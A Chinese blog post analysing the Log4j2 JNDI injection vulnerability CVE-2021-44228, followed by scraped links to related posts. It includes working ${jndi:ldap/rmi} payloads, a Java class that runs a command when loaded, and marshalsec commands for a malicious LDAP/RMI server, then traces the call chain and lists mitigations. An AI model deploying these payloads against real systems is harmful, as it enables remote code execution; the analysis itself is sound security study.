引言: 不管是什么编程语言,不管是前端后端还是客户端,对打日志都不会陌生。通过日志,可以帮助我们了解程序的运行情况,排查程序运行中出现的问题。在Java技术栈中,用的比较多的日志输出框架主要是log4j2logback。我们经常会在日志中输出一些变量,比如:logger.info(“proj name: {}”, name),那作为一个优秀的全异步日志框架log4j2是否就是完美无瑕的呢?No,当然不是,最近全球知名开源日志组件 Apache Log4j2 被阿里团队曝出严重高危漏洞。该漏洞号称可以让黑客不用知道服务器账号,就可以做到如入无人之境,进而对你的服务做任何你可以想象到的破坏。

漏洞描述: 阿里云安全团队报告Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。Spring-Boot-strater-log4j2、Apache Struts2、Apache Solr、Apache Flink、Apache Druid、ElasticSearch、Flume、Dubbo、Redis、Logstash、Kafka均受影响。

漏洞编号: CVE-2021-44228

CVSS评分:10.0(最高只能10分)

基本原理:

1.时序图

2.流程图

具体细节实现:

1.伪装一个请求体,包含JNDI可执行的服务,以下展示LDAP与RMI两种请求格式:

LDAP: ${jndi:ldap://127.0.0.1:1234/calc}
RMI: ${jndi:rmi://127.0.0.1:1234/calc}
2.Service App在恰巧输出了请求体或者入参的log日志时,则会触发此URL的请求,进一步主动请求了攻击者提前准备好的的LADP/RMI Service App

3.利用LDAP/RMI的特性,我们可以伪装返回值,含有待执行的恶意Class文件地址以及Class类名

4.LDAP服务找不到对应Class文件就会触发JNDI的机制从远程服务器中下载Class中

5.Malicious Service App提供可执行Class文件下载,Service App拿到到Class文件后会触发反序列化执行代码,达到了远程执行代码的目的

名词解释:

JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。简单理解就是有一个类似于字典的数据源,你可以通过JNDI接口,传一个name进去,就能获取到对象了。援引网上的说法,jndi就是java一套资源发现和使用的接口,用来将各种资源做整合,程序员不用关心底层配置和代码实现,将资源拿来用就可以了

RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的对象class文件可以使用Web服务的方式进行托管。这可以动态的扩展远程应用的功能。在JVM之间通信时,RMI对远程对象和非远程对象的处理方式是不一样的,它并没有直接把远程对象复制一份传递给客户端,而是传递了一个远程对象的Stub,Stub基本上相当于是远程对象的引用或者代理。Stub对开发者是透明的,客户端可以像调用本地方法一样直接通过它来调用远程方法。Stub中包含了远程对象的定位信息,如Socket端口、服务端主机地址等等,并实现了远程调用过程中具体的底层网络通信细节,所以RMI远程调用逻辑是这样的

LDAP即Lightweight Directory Access Protocol(轻量级目录访问协议),基于TCP/IP协议,可以理解为目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据,就好象Linux/Unix系统中的文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好像它的名字一样。简单理解就是有一个类似于字典的数据源,你可以通过LDAP协议,传一个name进去,就能获取到数据。

基于以上名词的理解,那么本次漏洞的原因就很好理解了

那log4j2既然是一个日志框架, 那应该是打印到控制台才对, 为什么一个简单的打印会爆出如此可怕级别的漏洞呢, 那是因为log4j2不仅仅只用于输出一段文字, 甚至可以通过日志输出一个Java对象,但是如果这个对象并不在当前程序中,而是在其他地方,比如说在某个文件中,甚至可能在网络上的某个地方,这种时候怎么办呢?log4j2牛逼的地方就来了,它除了可以输出程序中的变量,甚至提供了一个叫**Lookup**的东西,用来输出更多内容。

lookup,顾名思义就是查找、搜索的意思,那在log4j2中,就是允许在输出日志的时候,通过某种方式去查找要输出的内容。

首先,它发现了字符串中有 ${},知道这个里面包裹的内容是要单独处理的。

其次将内容进一步解析,发现是JNDI扩展内容。

再进一步解析,发现了是LDAP协议,并找到对应的LDAP服务器地址和对应的类文件名称。

最后,调用具体负责LDAP的模块去请求对应的数据。

问题点就出在还可以请求Java对象, 我们都知道Java对象一般只存在于内存中,但也可以通过序列化的方式将其存储到文件中,或者通过网络传输。

当然如果是通过我们定义的网络路径传输当然并不是什么问题, 那么如果此网络路径是恶意路径呢, 是一个黑客服务器路径呢???这就是鼎鼎大名的JNDI注入,即某代码中存在JDNI的string可控的情况,可构造恶意RMI或者LDAP服务端,导致远程任意类被加载,造成任意代码执行。

JNDI注入中RMI和LDAP与JDK版本的关系,参考这张图:

引用来源: https://xz.aliyun.com/t/6633

RMI + JNDI Reference利用方式
JDK 6u132, JDK 7u122, JDK 8u113
com.sun.jndi.rmi.object.trustURLCodebase
com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false
即默认不允许从远程的Codebase加载Reference工厂类

LDAP + JDNI Reference利用方式:
JDK 6u211,7u201, 8u191, 11.0.1之后
com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false

好了, 说了那么多, 漏洞如何复现呢?接下来让我们尝试复现此漏洞

环境准备: Win10 + jdk_1.8.0_292 + log4j-core_2.13.3 + log4j-api_2.13.3 + python_3.8

  1. LDAP方式实现

    1. 准备好待执行java代码并编译为class文件

      public class calc {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"calc"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception ignored) {}}
      }
      
      javac calc.java
      
    2. 在class文件目录下利用python搭建http服务传输class文件的服务

      1. python -m SimpleHTTPServer 8080     //python2 模式命令
      2. python -m http.server 8080          //python3 模式命令
      
    3. 搭建并启动一个LDAP服务器, 监听1234端口

      下载marshalsec(该项目是已经准备好的可以开启LDAP以及RMI服务的应用)

      新建cmd窗口并执行以下命令

      1. git clone https://github.com/mbechler/marshalsec.git
      2. cd marshalsec
      3. mvn clean package -DskipTests
      4. cd target
      5. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://[ip]:[port]/#calc" 1234   //ip port就填上上面搭建的class传输服务的地址
      
    4. 创建测试项目

      项目中log4j版本依赖定义

           <dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.13.3</version></dependency><!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api --><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>2.13.3</version></dependency>
      

      项目启动方法定义

      public class log4jRCE {private static final Logger logger = LogManager.getLogger(log4jRCE.class);public static void main(String[] args) {logger.error("${jndi:ldap://127.0.0.1:1234/calc}");}
      }
      
    5. 启动项目执行入口方法发现本机的计算器窗口被打开

  2. RMI方式实现

    1. 将以上LDAP方式中第三步中的第5小步命令更换成

      5. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://[ip]:[port]/#calc" 1234   //ip port就填上上面搭建的class传输服务的地址
      
    2. 将启动入口方法日志打印内容更换为

      public class log4jRCE {private static final Logger logger = LogManager.getLogger(log4jRCE.class);public static void main(String[] args) {logger.error("${jndi:rmi://127.0.0.1:1234/calc}");}
      }
      

至此, 漏洞复现完毕,接下来 我们深入一下调用链路究竟logger.error()是如何层层调用至JndiLookup.lookup的:

首先我们从debug logger.error()跟进至AbstractLogger.tryLogMessage.log方法

private void tryLogMessage(final String fqcn,final StackTraceElement location,final Level level,final Marker marker,final Message message,final Throwable throwable) {try {log(level, marker, fqcn, location, message, throwable);} catch (final Exception e) {handleLogMessageException(e, fqcn, message);}
}

然后是org.apache.logging.log4j.core.Loggger.log

@Override
protected void log(final Level level, final Marker marker, final String fqcn, final StackTraceElement location,final Message message, final Throwable throwable) {final ReliabilityStrategy strategy = privateConfig.loggerConfig.getReliabilityStrategy();if (strategy instanceof LocationAwareReliabilityStrategy) {// 触发点((LocationAwareReliabilityStrategy) strategy).log(this, getName(), fqcn, location, marker, level,message, throwable);} else {strategy.log(this, getName(), fqcn, marker, level, message, throwable);}
}

然后是org.apache.logging.log4j.core.config.DefaultReliabilityStrategy.log

@Override
public void log(final Supplier<LoggerConfig> reconfigured, final String loggerName, final String fqcn,final StackTraceElement location, final Marker marker, final Level level, final Message data,final Throwable t) {loggerConfig.log(loggerName, fqcn, location, marker, level, data, t);
}

进入LoggerConfig.log方法

@PerformanceSensitive("allocation")public void log(final String loggerName, final String fqcn, final StackTraceElement location, final Marker marker,final Level level, final Message data, final Throwable t) {...try {// 跟入log(logEvent, LoggerConfigPredicate.ALL);} finally {ReusableLogEventFactory.release(logEvent);}}

进入LoggerConfig另一处重载log方法

protected void log(final LogEvent event, final LoggerConfigPredicate predicate) {if (!isFiltered(event)) {// 跟入processLogEvent(event, predicate);}
}

进入processLogEvent方法

private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) {event.setIncludeLocation(isIncludeLocation());if (predicate.allow(this)) {// 关键点callAppenders(event);}logParent(event, predicate);
}

可以看到调用appender.controlcallAppender方法

@PerformanceSensitive("allocation")
protected void callAppenders(final LogEvent event) {final AppenderControl[] controls = appenders.get();//noinspection ForLoopReplaceableByForEachfor (int i = 0; i < controls.length; i++) {controls[i].callAppender(event);}
}

继续

public void callAppender(final LogEvent event) {if (shouldSkip(event)) {return;}//跟入callAppenderPreventRecursion(event);}

继续

private void callAppenderPreventRecursion(final LogEvent event) {try {recursive.set(this);//跟入callAppender0(event);} finally {recursive.set(null);}}

继续

private void callAppender0(final LogEvent event) {ensureAppenderStarted();if (!isFilteredByAppender(event)) {//跟入tryCallAppender(event);}}

跟入tryCallAppender方法

private void tryCallAppender(final LogEvent event) {try {//跟入appender.append(event);} catch (final RuntimeException ex) {handleAppenderError(event, ex);} catch (final Exception ex) {handleAppenderError(event, new AppenderLoggingException(ex));}}

进入AbstractOutputStreamAppender.append方法,进入到directEncodeEvent方法

@Overridepublic void append(final LogEvent event) {try {//跟入tryAppend(event);} catch (final AppenderLoggingException ex) {error("Unable to write to stream " + manager.getName() + " for appender " + getName(), event, ex);throw ex;}}

跟入

private void tryAppend(final LogEvent event) {if (Constants.ENABLE_DIRECT_ENCODERS) {//跟入directEncodeEvent(event);} else {writeByteArrayToManager(event);}}

跟入

protected void directEncodeEvent(final LogEvent event) {//跟入getLayout().encode(event, manager);if (this.immediateFlush || event.isEndOfBatch()) {manager.flush();}}

跟入encode方法进入到PatternLayout.encode方法

@Overridepublic void encode(final LogEvent event, final ByteBufferDestination destination) {if (!(eventSerializer instanceof Serializer2)) {super.encode(event, destination);return;}//重点位置跟入final StringBuilder text = toText((Serializer2) eventSerializer, event, getStringBuilder());final Encoder<StringBuilder> encoder = getStringBuilderEncoder();encoder.encode(text, destination);trimToMaxSize(text);}

跟入toText方法到toSerializable方法中

@Overridepublic StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {final int len = formatters.length;for (int i = 0; i < len; i++) {//遍历formatters,均为PatternFormatter的实现,其中有一个//对象包含的MessagePatternConverter属性触发了漏洞formatters[i].format(event, buffer);}if (replace != null) { // creates temporary objectsString str = buffer.toString();str = replace.format(str);buffer.setLength(0);buffer.append(str);}return buffer;}

跟入index为8的formatter找到其format方法

跟入

public void format(final LogEvent event, final StringBuilder buf) {if (skipFormattingInfo) {converter.format(event, buf);} else {formatWithInfo(event, buf);}}

跟入其converter实现为MessagePatternConverter的format核心方法

Remark(修复后此处对象变更为MessagePatternConverter.SimplePatternConverter类,跟了下流程发现到PatternLayout.toSerializable方法发生了变化不过这里的变化没有什么影响,其中的formatters属性的变化将操作变成了直接拼接字符串的操作,不去判断${}这种情况)

@Overridepublic void format(final LogEvent event, final StringBuilder toAppendTo) {final Message msg = event.getMessage();if (msg instanceof StringBuilderFormattable) {final boolean doRender = textRenderer != null;final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;final int offset = workingBuilder.length();if (msg instanceof MultiFormatStringBuilderFormattable) {((MultiFormatStringBuilderFormattable) msg).formatTo(formats, workingBuilder);} else {((StringBuilderFormattable) msg).formatTo(workingBuilder);}// TODO can we optimize this?if (config != null && !noLookups) {for (int i = offset; i < workingBuilder.length() - 1; i++) {//重点位置 检测关键词 ${ if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {final String value = workingBuilder.substring(offset, workingBuilder.length());workingBuilder.setLength(offset);//跟入replace方法workingBuilder.append(config.getStrSubstitutor().replace(event, value));}}}if (doRender) {textRenderer.render(workingBuilder, toAppendTo);}return;}if (msg != null) {String result;if (msg instanceof MultiformatMessage) {result = ((MultiformatMessage) msg).getFormattedMessage(formats);} else {result = msg.getFormattedMessage();}if (result != null) {toAppendTo.append(config != null && result.contains("${")? config.getStrSubstitutor().replace(event, result) : result);} else {toAppendTo.append("null");}}}

跟入StrSubstitutor.replace方法

public String replace(final LogEvent event, final String source) {if (source == null) {return null;}final StringBuilder buf = new StringBuilder(source);// 跟入if (!substitute(event, buf, 0, source.length())) {return source;}return buf.toString();
}

跟入StrSubstitutor.subtute方法,主要作用是递归处理日志输入,转为对应的输出

private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,List<String> priorVariables) {...substitute(event, bufName, 0, bufName.length());...String varValue = resolveVariable(event, varName, buf, startPos, endPos);...int change = substitute(event, buf, startPos, varLen, priorVariables);
}

那恶意输入logger.error("error_message:${jndi:ldap://127.0.0.1:1234/calc}");

这里的递归处理成功地让jndi:ldap://127.0.0.1:1389/calc进入resolveVariable方法

跟入resolveVariable方法

protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,final int startPos, final int endPos) {final StrLookup resolver = getVariableResolver();if (resolver == null) {return null;}//跟入return resolver.lookup(event, variableName);}

根据jndi开头的标识获取对应的resolver,在这里为JndiLookup,跟入其lookup 方法如下

@Overridepublic String lookup(final LogEvent event, final String key) {if (key == null) {return null;}final String jndiName = convertJndiName(key);try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {//跟入lookup方法return Objects.toString(jndiManager.lookup(jndiName), null);} catch (final NamingException e) {LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, e);return null;}}

跟入JndiManagerlookup方法

public <T> T lookup(final String name) throws NamingException {//跟入return (T) this.context.lookup(name);}

跟入到com.sun.jndi.url.ldap.ldapURLContextlookup(String var1)方法

public Object lookup(String var1) throws NamingException {if (LdapURL.hasQueryComponents(var1)) {throw new InvalidNameException(var1);} else {//跟入return super.lookup(var1);}}

跟入GenericURLContextlookup方法

 public Object lookup(String var1) throws NamingException {//根据url地址获取java对象ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);//获取context执行Context var3 = (Context)var2.getResolvedObj();Object var4;try {var4 = var3.lookup(var2.getRemainingName());} finally {var3.close();}return var4;}

后续的处理只是执行层面的, 有兴趣的可以继续往后debug, 本次源码剖析暂时告一段落

解决方案:
1、临时缓解方案

在jvm参数中添加 -Dlog4j2.FORMATMsgNoLookups=true
系统环境变量中将FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true
创建 “log4j2.component.properties” 文件,文件中增加配置 “log4j2.formatMsgNoLookups=true”
2、彻底修复方案

手动删除log4j-core-*.jar中org/apache/logging/log4j/core/lookup/JndiLookup.class,重启服务即可。
升级到官方提供的 log4j-2.15.0-rc2 版本

最后附一款GUI工具,项目地址:GitHub - inbug-team/Log4j_RCE_Tool: Log4j 多线程批量检测利用工具

Log4j2 zero day(CVE-2021-44228) 漏洞浅析相关推荐

  1. .NET 程序测试 Java 项目 log4j2 是否存在远程代码执行漏洞

    最近两天被朋友圈的"Apache Log4j2 远程代码执行漏洞"刷屏了,主要是因为组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求 ...

  2. Jsonp跨域漏洞浅析

    为什么要用到jsonp跨域? 同源策略:协议.域名.端口都相同,是一种安全策略,不同源的客户端脚本在没有明确授权的情况下,不能读取对方资源. 如何解决跨域(目前我掌握的有两种手段 (1)JSONP方式 ...

  3. 2021 HW 漏洞清单汇总 ( 附 poc )

    2021 HW 漏洞清单汇总 2021.4.8--4.22 披露时间         涉及商家/产品        漏洞描述 2021/04/08        启明星辰天清汉马USG防火墙存在逻辑缺 ...

  4. java反序列化漏洞 tomcat_CVE-2020-9484 Apache Tomcat反序列化漏洞浅析

    本文是i春秋论坛作家「Ybwh」表哥原创的一篇技术文章,浅析CVE-2020-9484 Apache Tomcat反序列化漏洞. 01漏洞概述 这次是因为错误配置和org.apache.catalin ...

  5. 2021年漏洞整合2+检测工具

    2021年快结束了,又迎来了冬奥会攻防演练,此次编写的目的依然只是提供大家自学和参考,重要的是对自己公司资产的一个梳理,脚本仅支持检测,没有利用getshell功能,请大家合理合法使用,不要胡乱日站, ...

  6. php act index漏洞,浅析PHP程序中的目录遍历漏洞

    这类漏洞主要是存在与基于PHP+TXT结构的程序中,漏洞代码也是来自于一个国外的BLOG,代码如下: $act=$_GET['act']:if($act==''){ include("blo ...

  7. rmi远程代码执行漏洞_WebSphere 远程代码执行漏洞浅析(CVE20204450)

    作者:beijixiong404    文章来源:先知社区 漏洞简介 WebSphere是IBM的软件平台,它包含了编写.运行和监视全天候的工业强度的随需应变 Web 应用程序和跨平台.跨产品解决方案 ...

  8. android 拒绝服务漏洞,Android 应用本地拒绝服务漏洞浅析

    1.本地拒绝服务漏洞描述 Android 系统提供了 Activity.Service 和 Broadcast Receiver 等组件,并提供了 Intent 机制来协助应用间的交互与通讯,Inte ...

  9. 缓冲区溢出漏洞浅析(三)

    前面发了两篇都是关于C语言缓冲区溢出的文章,有的同行问,是否C#.Java语言有缓冲区溢出问题吗?答案是否定的.由于C#.Java语言需要虚拟机去执行,属于托管语言,虚拟机会自动检查边界.一般不会出现 ...

最新文章

  1. 指尖下的js ——多触式web前端开发之二:处理简单手势
  2. 在CentOS_Linux版虚拟机中安装VMTools工具
  3. mysql--SQL编程(关于mysql中的日期,关于重叠) 学习笔记2.2
  4. 顺丰快递单号的规律_顺丰快递单号查询跟踪(单号码查询)
  5. ubuntu nfs linux,Ubuntu的NFS功能配置
  6. OpenCV3学习(11.8) FREAK描述符提取器
  7. 【Spring第五篇】Autowired:自动装配
  8. 新兴的人工智能服务器,5个新兴人工智能物联网应用
  9. Vue小案例 之 商品管理------添加商品
  10. 过滤HTML标记、HTML注释、“!@#¥%”等非法字符
  11. Q145: 三次曲线对比及其矩阵表示(Bezier, B-Spline, Hermite, Catmull-Rom)
  12. 君子抉(4月28日)
  13. win7新建文件夹-快捷键
  14. HmacSHA256算法实现消息认证
  15. 算法精解 c语言 源码,算法精解七(C语言版)
  16. 良心推荐11款可以称得上“神器”的Windows工具集合
  17. 轻轻松松背单词软件测试,扇贝单词历史版本
  18. Excel如何批量删除工作表中的所有空列
  19. 第一部分 移动终端芯片概述
  20. 电脑开机后过一会就关机自动重启

热门文章

  1. 版本更新 | 极狐 GitLab 15.2 发布飞书通知机器人、多层史诗调整至专业版、实时 Wiki 图表预览和全新设计的合并请求报告
  2. eureka注册中心wro.css wro.js 404
  3. 认知篇----硬件工程师的成才之路之经典
  4. sql中插入带有单引号的数据
  5. argument详解
  6. centos7 挂载云盘
  7. 遗传算法变异算子函数——mut
  8. 冲击GCT——考试法宝
  9. PowerPC 体系结构开发者指南
  10. 牛掰!我是这么把博客粉丝转到公众号的